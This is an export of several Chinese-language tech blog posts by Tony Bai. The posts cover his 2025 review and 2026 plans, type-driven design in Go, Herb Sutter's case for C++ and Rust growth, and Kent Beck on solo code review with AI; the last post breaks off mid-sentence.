https://tonybai.com/2026/01/04/stick-to-the-core-embrace-variables-2025-review-2026-outlook\n大家好，我是Tony Bai。\n当时钟拨向 2026 年，我不禁回望刚刚过去的 2025。\n在技术史上，这注定会被定义为**“分水岭”**的一年。如果说之前我们还在观望 AI 能画出什么样的图，生成怎样的代码，那么在 2025 年，我们真切地感受到了它对软件工程核心领地的冲击与重塑——从 Google 三巨头定义“AI Agent 元年”，到CodeRabbit 报告揭示 AI 代码的质量隐忧，再到 Rob Pike 对那封AI “致谢信”的罕见愤怒。\n在这样的洪流中，保持定力并不容易。回顾这一年，我庆幸自己做对了一件事：在变化的浪潮中，依然坚持系统性地输出“不变”的价值。\n今天，在这个2026年元旦后开工的第一天，我想和大家聊聊我的 2025，以及我对 2026 的硬核规划。\n2025：一场“微专栏”的内容实验 2025 年，我做了一个重要的决定：重塑公众号的内容形态。\n在碎片化阅读盛行的当下，我深感很多技术痛点——如并发调度、网络协议、系统底层——是无法通过单篇千字文章讲透的。于是，我推出了**“微专栏”**模式：用 3-10 篇的体量，像写书一样去深度拆解一个技术专题。\n这是一次冒险，但结果令人欣慰。这一年，我们通过 16 个微专栏，构建了一张从底层原理到 AI 前沿的完整技术拼图：\n第一块拼图：攻克 Go 并发的“深水区”\n并发是 Go 的灵魂，也是最容易出错的地方。\n我们通过 《Go并发调度艺术》，跟随 Dmitry Vyukov 的视角亲历了 GMP 模型的演进；通过 《Go并发心智模型课》，完成了从“共享内存”到“信道通信”的思维转变；更为关键的是，《征服Go并发测试》 让我们终于掌握了驯服 Flaky Test 的新武器。\n第二块拼图：夯实系统编程与工程底座\n在应用层之下，是冰山般的底层细节。\n我们潜入内核，在 《Go系统编程：揭秘进程控制、I/O与IPC》 中手写系统级工具；在 《Go网络编程全解：从Socket到HTTP/3》 中打通了网络协议栈的任督二脉。\n同时，我们补齐了工程化的关键短板：通过 《Go Context解惑》 掌握了生命周期管理，通过 《Go模块构建与依赖管理》 走出了依赖地狱，用 《Go密码学101》 和 《用Go解锁位运算之美》 强化了基本功，并用 《Go 测试之道》 建立了交付信心。\n第三块拼图：架构设计与交互体验\n当 Coding 能力溢出，设计能力便决定了上限。\n我们探讨了 《API 设计之道：从设计模式到 Gin 工程化实现》 和 《Go开发者的数据库设计之道》，拒绝面条代码。甚至，我们还玩了一把复古与现代结合的 《重塑终端：Go TUI开发入门课》，让命令行工具也能拥有惊艳的交互。\n第四块拼图：Gopher 的 AI 破局\n这一年，我们不再旁观，而是下场实战。\n从 《AI应用开发第一课》 入门，到掌握 《Gemini CLI：重新定义命令行AI开发》，再到硬核的 《Google ADK 实战：用 Go 构建可靠的 AI Agent》，我们证明了 Go 在 AI 时代的无限可能。\n除了微专栏，2025 年也是我“系统化输出”的大年。\n在极客时间，《Go语言进阶课》 正式上线，帮助无数 Gopher 完成了从熟练到精通的跨越。\n更让我惊喜的是，《AI原生开发工作流实战》 在上架短短一个多月内就获得了 3600+ 订阅。这说明大家已经意识到：AI 不仅仅是工具，更是一种全新的开发范式。\n与此同时，**《Go语言第一课》纸质书**也在这一年正式出版，为这一年的“内容实验”画上了一个厚重的句号。\n这一系列的产出证明了：在浮躁的时代，深度、系统化的内容依然有着旺盛的生命力。\n2025：在喧嚣中寻找信号 翻看我 2025 年的博客列表，你会发现我的关注点始终在**“底层原理”与“前沿变革”**之间穿梭。\n关于 Go，我们不仅向前看，也向后看。\nGo 团队在这一年对底层的打磨可谓大刀阔斧。我们见证了 GC 的重大演进，《Go新垃圾回收器登场：Green Tea GC》 详细剖析了它如何通过内存感知降低 CPU 开销，《深入 Go Green Tea GC》 则进一步揭示了其架构演进。在性能压榨上，《解锁CPU终极性能：Go原生SIMD包预览版初探》 让我们看到了 Go 在高性能计算领域的野心，尽管 《连 Rob Pike 都感到“担忧”》 也提醒了我们随之而来的复杂性。\n同时，我们也向后进行了“Go 考古”，探究了 《错误处理的“语法糖”之战》，以及 《Slice 的“隐秘角落”》 中扩容策略的演变。我们还深入探讨了 《Go 1.26 新特性前瞻》 中的语法糖 new(expr)，以及 《Go 编译器崩溃背后》 的语言规范修正。\n关于软件工程，我们保持清醒。\n当业界盲目推崇微服务时，我们通过 《“6 个月，47 个微服务”：一场由“简历驱动”引发的架构灾难》 发出了警示；当所有人都在由 AI 生成代码时，我们解读了 《Bug 激增 1.7 倍！AI 写代码：是速度的蜜糖，还是质量的砒霜？》。我们探讨了 《无聊设计的终极奥义》，也重温了 《Code Review 已死？Kent Beck：当 AI 成为“副驾驶”，我们该如何审查代码？》。\n关于 AI，我们从旁观走向入局。\n这一年，我不再满足于仅仅介绍 AI 工具，而是开始探索 Go 与 AI 的结合点。从 《Google I/O 2025 Go 语言进展》 看到的 AI 赋能，到 《Cloudflare 2025 年度报告》 中 Go 在自动化 API 领域的统治力，再到 《MCP协议注册中心发布》 带来的基础设施变革，我们看到了 Gopher 在 AI 时代的巨大机会。\n2026：Coding 廉价，眼光无价 如果说 2025 年是 AI 辅助编程进入Agent模式（Copilot、Cursor、Claude Code、Gemini cli等）的普及年，那么 2026 年，将是 自主智能系统（Agentic System） 的爆发年。\n在 AI 能以百倍速度生成代码的时代，单纯的 Coding 能力正在不可避免地贬值。但架构设计的能力、技术选型的眼光、以及构建复杂系统的智慧，将变得无价。\n基于此，在 2026 年，我将在**公众号（付费微专栏）和知识星球（免费畅读）**双线并行，重点规划以下三大战役：\n战役一：AI 原生工程与 Agent 实战 这不再是写几个 Prompt 的游戏，而是真正软件工程范式的变革。\n自主智能系统 (Agentic System) 构建实战：我们将深入研究如何构建真正的 AI Agent。不仅仅是调用 API，而是设计能够感知环境、规划任务、使用工具、具有记忆并能自我修正的智能系统。 以Claude Code为例的AI编码进阶实战：作为当前最强的 AI 编码 Agent，Claude Code 的潜力远未被挖掘。我们将探索如何用它实现L4级工作流，即AI 作为自主软件工程师，能够独立地、端到端地完成从需求理解到部署上线的整个软件开发生命周期，实现端到端的自动应用构建。同时我们还要考虑AI使用的经济性(省token，省money)。 AI 时代的软件工程探索：当代码主要由机器生成时，我们的 CI/CD、Code Review 以及测试策略该如何演进？这将是我们探索的重点。 战役二：架构设计与系统思维 当“怎么写”变得容易，“写什么”和“怎么设计”就决定了你的上限。\n分布式系统与架构设计微专栏：我们将跳出语言细节，探讨高可用架构、一致性难题、分布式事务等硬核话题。 最佳实践与反模式：从微服务拆分到单体演进，从 数据表查询性能设计到领域建模（DDD），我们将沉淀出一套经得起时间考验的工程智慧。 战役三：Go 语言的深耕与重塑 Go 依然是我们的基本盘，但在 2026 年，我们要换个玩法。\nAI 时代的角色转换：Go 在 AI 基础设施（推理服务、向量检索、Agent 后端）中的核心地位愈发稳固。我们将关注 Go 如何更好地服务于 AI 负载。 硬核实战：Porting（移植）系列：这是我今年最想做的一件事。我们将通过用 Go 复刻经典系统（如编写一个 Mini-Kafka 或 Mini-DB），来深入理解存储引擎、网络协议和分布式共识的底层原理。这是掌握系统编程最扎实的路。 传统艺能：Go 的极致性能优化与可观测性依然是很多读者的刚需，也是Go生产事件中的重中之重。我们将继续关注 Go Runtime 的演进（如 Green Tea GC、SIMD），确保我们始终站在性能的最前沿。 当然，作为系统编程的双子星之一，Rust 依然会在我的技术雷达范围内，作为我们拓宽技术视野的重要补充。\n小结 2026 年的画卷已经展开。\n这是一个技术人最焦虑的时代，也是最令人兴奋的时代。焦虑在于旧经验的快速折旧，兴奋在于个体生产力的无限放大。\n新的一年，我希望通过这些深度微专栏和知识星球的陪伴，帮你建立起抵御技术通胀的护城河。\n让我们左手握着 Go 与架构设计的工程底气，右手举起 AI Agent 的效率火把，从“代码工人”进化为“系统构建者”。\n祝大家在 2026 年，代码无 Bug，架构有灵魂，人生有增量！\n扫码加入我的知识星球，2026 全年微专栏以及存量微专栏免费畅读！\n你的 2025 关键词\n我的 2025 是“坚守与拥抱”。回顾你的 2025，如果用一个词或一句话来总结，会是什么？对于即将到来的 2026，你最大的技术期待又是什么？\n欢迎在评论区留下你的年度关键词，让我们一起记录这段不平凡的时光！\n如果这篇文章给了你前行的力量，别忘了点个【赞】和【在看】，并转发给你的朋友，让我们在 2026 顶峰相见！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/04/stick-to-the-core-embrace-variables-2025-review-2026-outlook/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/stick-to-the-core-embrace-variables-2025-review-2026-outlook-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/04/stick-to-the-core-embrace-variables-2025-review-2026-outlook\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/04/stick-to-the-core-embrace-variables-2025-review-2026-outlook\"\u003ehttps://tonybai.com/2026/01/04/stick-to-the-core-embrace-variables-2025-review-2026-outlook\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e当时钟\u003ca href=\"https://mp.weixin.qq.com/s/6U3cnqjCve9WIn07g0Y_Og\"\u003e拨向 2026 年\u003c/a\u003e，我不禁回望刚刚过去的 2025。\u003c/p\u003e\n\u003cp\u003e在技术史上，这注定会被定义为**“分水岭”**的一年。如果说之前我们还在观望 AI 能画出什么样的图，生成怎样的代码，那么在 2025 年，我们真切地感受到了它对软件工程核心领地的冲击与重塑——\u003ca href=\"https://tonybai.com/2025/12/26/google-2025-research-breakthroughs/\"\u003e从 Google 三巨头定义“AI Agent 元年”\u003c/a\u003e，到\u003ca href=\"https://tonybai.com/2025/12/28/state-of-ai-vs-human-code-generation-report/\"\u003eCodeRabbit 报告揭示 AI 代码的质量隐忧\u003c/a\u003e，再到 \u003ca href=\"https://tonybai.com/2025/12/27/rob-pike-outburst-denounces-ai-companies-hypocritical-thanks/\"\u003eRob Pike 对那封AI “致谢信”的罕见愤怒\u003c/a\u003e。\u003c/p\u003e","title":"坚守内核，拥抱变量：我的 2025 年终复盘与 2026 展望"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/04/stop-lying-to-the-compiler\n大家好，我是Tony Bai。\n“半夜被值班的运维同事叫醒，发现生产环境崩了，原因是一个深藏在业务逻辑里的 nil 指针异常。”\n这个场景，对于每个后端开发者来说都是挥之不去的噩梦。事后复盘时，我们往往会懊恼：“为什么这里没加 if != nil 判断？”然后，我们在代码里撒上一把防御性检查的“盐”，祈祷下次好运。\n但这真的是解决之道吗？\n最近，Daniel Beskin 的一篇深度好文《The Compiler Is Your Best Friend, Stop Lying to It》（编译器是你最好的朋友，别再对它撒谎了），为我们提供了一个全新的视角：这些运行时崩溃，本质上是因为我们在编译时对编译器撒了谎。\n我们告诉编译器“这是一个字符串”，但实际上它可能是 nil；我们告诉编译器“这个函数返回一个整数”，但实际上它可能抛出一个 panic。当我们停止撒谎，开始用类型系统表达真实意图时，编译器将从一个“报错机器”，变成我们最强大的“安全副驾驶”。\n我们对编译器撒过的“谎” 在 Go 语言的日常开发中，我们常常为了“方便”而向编译器撒谎，埋下了日后爆炸的地雷。\n谎言一：隐形的 nil 当我们定义 func Process(u *User) 时，我们告诉编译器：“给我一个 User，我处理它。” 但在 Go 中，指针可以是 nil。\n谎言：我承诺会处理一个 User。\n真相：我可能会收到一个 nil，然后炸掉。\n后果：为了弥补这个谎言，我们需要在函数内部写无数的 if u == nil 防御性代码。一旦遗漏，就是生产事故。\n谎言二：盲目的类型断言与 any 当我们使用 interface{} (或 any) 时，我们实际上是在对编译器说：“别管这个，我知道我在做什么。”\n谎言：这个 any 类型的变量，其实是一个 int。\n真相：它可能是一个 string，或者 nil。\n后果：运行时的 panic: interface conversion: interface {} is string, not int。\n谎言三：隐藏的副作用与 Panic 当我们看到一个函数签名 func Parse(s string) int 时，编译器认为它是一个将字符串映射为整数的函数。\n谎言：这是一个纯粹的转换函数。\n真相：如果字符串格式不对，我会直接 panic，中断整个 goroutine。\n后果：调用者无法通过函数签名预知风险，导致程序在边缘情况下意外崩溃。\n停止撒谎，开启“对话” 如何重建与编译器的信任关系？答案是：将运行时的检查，提前到编译时的类型定义中。\n策略一：让非法状态无法表示 这是消除 nil 和无效数据的终极心法。\n场景：一个配置项 Port，如果是 0 表示随机端口，如果是正数表示指定端口。 糟糕的设计：Port int。你必须在代码各处检查 Port \u0026lt; 0 的情况，并且含义模糊。 诚实的设计： type Port int // 使用构造函数来保证 Port 的合法性 func NewPort(p int) (Port, error) { if p \u0026lt; 0 || p \u0026gt; 65535 { return 0, fmt.Errorf(\u0026#34;invalid port\u0026#34;) } return Port(p), nil } 一旦你通过 NewPort 拥有了一个 Port 类型的值，编译器就为你担保：它一定是一个合法的端口号。你后续不再需要防御性检查(未通过NewPort获得的除外)。\n策略二：用类型区分概念 场景：用户 ID 和 订单 ID 都是 int64。 糟糕的设计：func GetOrder(userID, orderID int64)。调用者很容易把两个 ID 传反，而编译器毫无察觉。 诚实的设计： type UserID int64 type OrderID int64 func GetOrder(uid UserID, oid OrderID) { ... } 现在，如果你试图把 UserID 传给 OrderID，编译器会直接报错。这不是繁琐，这是编译器在帮你 Review 代码。\n策略三：显式的可空性 虽然 Go 没有 Rust 的 Option，但我们可以利用指针的语义来诚实地表达“可能不存在”。\n场景：更新用户信息，只更新非空字段。 诚实的设计： go type UpdateUserRequest struct { Name *string // nil 表示不更新，非 nil 表示更新为新值 Age *int } 这里，指针不再是“可能导致崩溃的引用”，而是**“可选值”的显式类型标记**。这让代码的意图对编译器和人类都一目了然。\n编译器是你的朋友，不是敌人 很多时候，我们觉得编译器很烦人：它阻止我们快速写出“能跑”的代码，强迫我们处理每一个 err，纠结于类型转换。\n但 Daniel Beskin 提醒我们：编译器是你唯一一个会不厌其烦地帮你检查每一个细节、永远不会疲倦、永远不会因为“差不多就行”而放过 Bug 的队友。\n当你觉得编译器在“阻碍”你时，停下来想一想：是不是我在试图对它撒谎？\n如果类型不匹配，是不是我的数据模型设计得不够清晰？ 如果错误处理太繁琐，是不是因为我试图把不确定的状态传递得太远？ 小结：睡个好觉的秘诀 “防御性编程”是一种补救措施，它假设代码是脆弱的。而“类型驱动开发”是一种预防措施，它利用编译器构建坚固的堡垒。\n当我们开始尊重类型，停止用 any 和隐式约定来糊弄编译器时，我们获得的回报是巨大的：\n重构时的自信：修改一个类型，编译器会告诉你所有需要调整的地方。 更少的测试：你不需要测试“端口号是否为负数”，因为类型系统保证了它不可能为负。 更安稳的睡眠：因为你知道，那些导致半夜崩溃的低级错误，早在你按下 go build 的那一刻，就被忠诚的编译器拦截在了门外。 资料链接：https://blog.daniel-beskin.com/2025-12-22-the-compiler-is-your-best-friend-stop-lying-to-it\n你的“撒谎”时刻\n读完这篇文章，你是否也意识到了自己曾在代码中对编译器撒过的“谎”？在你的项目中，有哪些因为类型定义不清而导致的“血案”？或者，你有哪些利用类型系统来规避 Bug 的独门绝技？\n欢迎在评论区分享你的反思与心得！ 让我们一起学会“诚实”编程，睡个好觉。\n如果这篇文章颠覆了你对编译器的认知，别忘了点个【赞】和【在看】，并转发给你的团队，一起提升代码的“诚实度”！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/04/stop-lying-to-the-compiler/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/stop-lying-to-the-compiler-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/04/stop-lying-to-the-compiler\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/04/stop-lying-to-the-compiler\"\u003ehttps://tonybai.com/2026/01/04/stop-lying-to-the-compiler\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“半夜被值班的运维同事叫醒，发现生产环境崩了，原因是一个深藏在业务逻辑里的 nil 指针异常。”\u003c/p\u003e\n\u003cp\u003e这个场景，对于每个后端开发者来说都是挥之不去的噩梦。事后复盘时，我们往往会懊恼：“为什么这里没加 if != nil 判断？”然后，我们在代码里撒上一把防御性检查的“盐”，祈祷下次好运。\u003c/p\u003e","title":"让编译器成为你的副驾驶：告别“防御性编程”，拥抱“类型驱动开发”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/03/why-cpp-programmers-keep-growing-fast\n大家好，我是Tony Bai。\n“软件拿走性能的速度，永远比硬件提供性能的速度要快。”\n在 AI 狂热、Python 统治胶水层、硬件算力看似无限增长的今天，C++ 标准委员会主席 Herb Sutter 却抛出了一个反直觉的结论：C++ 和 Rust 正在经历前所未有的高速增长。\n这并非幸存者偏差。在他最新的博文《Software taketh away faster than hardware giveth》中，Sutter 结合 2025 年的行业数据、巨头财报和底层物理限制，为我们揭示了一个残酷的真相：我们正面临计算能力的“硬墙”，而高效能编程语言，是撞破这堵墙的唯一工具。\n2025 年计算的双重瓶颈——电力与芯片 如果你认为算力增长的瓶颈仅仅是芯片（GPU/TPU）的供应，那你就错了。Sutter 引用了微软、亚马逊和 NVIDIA 财报电话会议的内容，指出 2025 年计算增长的第一大瓶颈是“电力”。\n微软 CFO：我们不缺 GPU，我们缺的是把它们放进去的“空间和电力”。 亚马逊 CEO：AWS 过去 12 个月增加了 3.8 吉瓦的电力容量，这相当于他们 2022 年的总容量。 NVIDIA CEO 黄仁勋：1 吉瓦的数据中心就是 1 吉瓦的电力。你的“每瓦性能 (Performance per Watt)”直接决定了你的收入。 在这个背景下，能效 (Energy Efficiency) 不再是一个锦上添花的指标，而是直接关乎成本、收入乃至可行性的生死线。\n这解释了为什么 C++ 和 Rust 如此重要：它们是目前仅有的、能够提供极致“每瓦性能”和“每晶体管性能”的主流便携式语言。在电力成为硬通货的今天，低效的软件就是在烧钱。\n软件的贪婪与硬件的无奈 Sutter 提出了一个深刻的观点：我们对解决更复杂问题的需求，总是超过我们构建更强计算能力的速度。\n2007 年的 iOS 开启了移动计算时代。 2022 年的 ChatGPT 开启了生成式 AI 时代。 每一次硬件性能的飞跃，都会迅速被新兴的、更加“贪婪”的软件需求所吞噬。AI 只是这一长串名单中的最新一员。这意味着，我们永远不会拥有“足够快”的硬件，我们永远需要压榨出硬件的最后一滴性能。\n因此，C++ 和 Rust 的开发者数量在过去三年（2022-2025）增长最快，这并非巧合，而是行业对高效能计算需求的直接反映。\nC++26 —— 安全与性能的“双重奏” 面对 Rust 在内存安全方面的挑战，C++ 并没有坐以待毙。Sutter 详细介绍了即将发布的 C++26 标准在安全性上的重大突破：\n消灭未初始化变量：C++26 将默认消除局部变量未初始化导致的未定义行为 (UB)。这是一个迟到但巨大的进步，直接消灭了一大类常见的安全漏洞。 标准库“加固” (Hardening)：C++26 将引入标准库的“加固模式”，对常用的操作（如 vector 访问）进行边界检查。谷歌和苹果的实践数据表明，这种检查的开销极低（小于 1%），但能预防数以千计的潜在 Bug。 契约 (Contracts)：C++26 将引入契约编程（Preconditions, Postconditions），将功能安全提升到语言层面。 Sutter 甚至提出了一个大胆的设想：未来的 C++29 是否应该暂停新特性的开发，专注于“修补漏洞”和“全面硬化”？ 这显示了 C++ 社区在安全性上的决心。\nAI 不会取代程序员，它只是计算器 针对“AI 将取代程序员”的焦虑，Sutter 给出了一个冷静而乐观的比喻：AI 之于编程，就像计算器之于数学，或者搜索引擎之于知识。\n它是乘数，不是替代品：AI 能极大地减少死记硬背和样板代码的工作，让程序员专注于解决更难、更新的问题。 需求在增长：即使有了 AI 加持，人类程序员的数量依然在快速增长。Atlassian CEO 指出：“如果软件开发的成本减半，我们不会减少一半的程序员，而是会编写两倍的软件，或者解决更复杂的问题。” AI 的局限：AI 只能解决已知的问题（训练数据覆盖的领域），而软件工程的核心价值在于解决未知的新问题。 小结：长期主义的胜利 Herb Sutter 的这篇文章，是对高性能编程语言的一次强力辩护。在摩尔定律放缓、能源危机逼近、AI 需求爆发的今天，掌握一门能与硬件“对话”、能极致利用资源的语言（无论是 C++ 还是 Rust），不仅没有过时，反而变得比以往任何时候都更加重要。\n正如他所说：“软件拿走性能的速度，永远比硬件提供性能的速度要快。” 在这场追逐赛中，高效能开发者将永远是稀缺资源。\n资料链接：https://herbsutter.com/2025/12/30/software-taketh-away-faster-than-hardware-giveth-why-c-programmers-keep-growing-fast-despite-competition-safety-and-ai\n你的“能效”焦虑\n在你的日常开发中，是否也感受到了“算力不够用”或者“云成本过高”的压力？你认为在 AI 时代，掌握一门高性能系统级语言（C++/Rust）是变得更重要了，还是更边缘化了？\n欢迎在评论区分享你的看法和职业规划！ 让我们一起探讨如何在算力瓶颈时代突围。\n如果这篇文章为你拨开了迷雾，别忘了点个【赞】和【在看】，并转发给身边那些坚持底层开发的“硬核”朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/03/why-cpp-programmers-keep-growing-fast/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-cpp-programmers-keep-growing-fast-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/03/why-cpp-programmers-keep-growing-fast\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/03/why-cpp-programmers-keep-growing-fast\"\u003ehttps://tonybai.com/2026/01/03/why-cpp-programmers-keep-growing-fast\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“软件拿走性能的速度，永远比硬件提供性能的速度要快。”\u003c/p\u003e\n\u003cp\u003e在 AI 狂热、Python 统治胶水层、硬件算力看似无限增长的今天，C++ 标准委员会主席 Herb Sutter 却抛出了一个反直觉的结论：\u003cstrong\u003eC++ 和 Rust 正在经历前所未有的高速增长。\u003c/strong\u003e\u003c/p\u003e","title":"为什么 AI 时代，C++ 和 Rust 反而更火了？Herb Sutter 的硬核解读"},{"content":"Kent Beck 最新思考：AI 时代的“一人派对”，代码审查的终结与重生 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nKent Beck 最新思考：AI 时代的“一人派对”，代码审查的终结与重生 一月 2, 2026 0 条评论 本文永久链接 – https://tonybai.com/2026/01/02/kent-beck-ai-era-code-review-end-and-rebirth\n大家好，我是Tony Bai。\n“以前是‘嘿，能在合并前帮我看一眼吗？’……现在是‘我在海滩上和一个神灯精灵结对编程’。”\n极限编程 (XP) 和测试驱动开发 (TDD) 的奠基人 Kent Beck，最近发表了一篇题为《Party of One for Code Review!》（代码审查的一人派对！）的博客。\n这是一个略带伤感，却又无比清醒的时刻。曾经，代码审查是软件工程中最具社交属性的活动之一，是团队知识共享的纽带。但在 AI 能够以百倍于人类的速度生成代码的今天，那个属于人类互相 Review 的黄金时代，似乎正在走向终结。\n取而代之的，是一场孤独的、高效的、由人类与 AI 共舞的“一人派对”。在这场派对中，代码审查并未消失，而是迎来了一场深刻的重生。\n终结 —— 崩溃的“社交契约” 在过去的几十年里，代码审查建立在一个默认的“社交契约”之上：我们是平等的队友，我们以相似的速度工作，我们有义务互相检查。\n然而，生成式 AI 的介入，彻底打破了这个平衡，导致了旧式 Code Review 的终结。\n速度的失衡 Kent Beck 指出，当 AI 这个“神灯精灵”成为你的结对伙伴时，生产代码不再是瓶颈。你可以还没到午饭时间，就生成并探索了三种不同的实现方案。这种速度是任何人类同事都无法匹配的。\n上下文的断裂 当你的同事还在为自己的任务焦头烂额时，你已经用 AI 生成了海量的代码。要求他们在一个下午读懂你和 AI 交互了数小时产生的逻辑，不仅是不公平的，甚至是不可行的。\n于是，我们被迫进入了“一人派对”模式。你是唯一的作者，也是唯一的审查者。 传统的、依赖同步协作的审查模式，在 AI 的洪流面前显得苍白无力。\n重生 —— 代码审查的新使命 如果不再依赖同事来找 Bug，代码审查还有存在的必要吗？Kent Beck 认为，它不仅有必要，而且比以往任何时候都重要。\n代码审查正在重生，它的关注点从“纠错”转移到了两个更高维度的使命上：\n健全性检查 (Sanity Check)：对抗“幻觉” AI 是自信的，它生成的代码往往看起来完美无缺。新时代的审查，首先是一场**“图灵测试”般的博弈**。\n你需要时刻保持警惕：“这看起来是对的，但它真的在做我要求它做的事吗？” Review 的本质，变成了确认 AI 是否忠实执行了人类的意图，而非纠结于语法细节。\n对抗“结构性漂移” (Structural Drift)：守护架构的灵魂 这是 Kent Beck 最深刻的洞见。他担忧的不是 Bug，而是代码库的可操作性。\n“如果结构变得过于纠缠，耦合变得太紧，精灵（AI）就会开始犯错。”\n当大量代码被快速生成时，代码库很容易陷入混乱的熵增，这种现象被称为**“结构性漂移”**。一旦代码结构腐化，AI 对上下文的理解能力就会断崖式下跌，最终导致开发效率的崩盘。\n因此，重生的代码审查，其核心使命是守护架构的健康。我们要确保代码库始终保持在一个**“既让人类可读，又让 AI 可理解”**的状态。\n新工具 —— 用魔法打败魔法 在“一人派对”中，既然没有了人类队友，我们就需要新的盟友。Kent Beck 提到，他正在尝试使用像 CodeRabbit 这样的 AI 代码审查工具。\n但他并不是想找一个“自动通过器”，而是将 AI 视为一个**“不知疲倦的检查员”**：\n自动摘要与可视化：当 AI 生成了大量变更时，让另一个 AI 来总结这些变更，生成架构图，帮助人类快速找回上下文。 模式守护者：通过训练 AI 学习代码库的既有模式，让它来标记那些偏离了设计规范的“漂移”。 这就是新时代的讽刺与美妙：我们正在用 AI 来审查 AI，以确保人类依然掌握着系统的控制权。\n孤独的领航员 文章的字里行间，流露出一种作为“老派黑客”的孤独感。Kent Beck 怀念那些与人激烈讨论、在白板前碰撞思维火花的日子。\n“我现在独自工作，生成代码飞快……但这不那么令人满足。”\n在 AI 时代，工程师的角色正在发生质变。我们从一群围着篝火（代码）取暖的部落成员，变成了独自驾驶飞船穿梭星际的领航员。AI 是我们强大的副驾驶，但方向盘，始终在且必须在人类手中。\n小结 “一人派对”并不意味着彻底的孤独，它意味着更高的责任。\n代码审查并没有死，它只是褪去了社交的外衣，重生为一种更纯粹、更严谨的工程纪律。在这场派对中，我们虽然独自起舞，但我们的舞步（代码结构）必须足够清晰、优雅，才能让那位强大的 AI 舞伴，始终跟随我们的节奏，而不至于踩到我们的脚。\n资料链接：https://tidyfirst.substack.com/p/party-of-one-for-code-review\n你的“派对”体验\nKent Beck 的“一人派对”，或许是每位 AI 时代开发者的必经之路。在你的工作中，是否也体验过这种“生成代码飞快，但无人Review”的孤独与不安？你是如何保证这些 AI 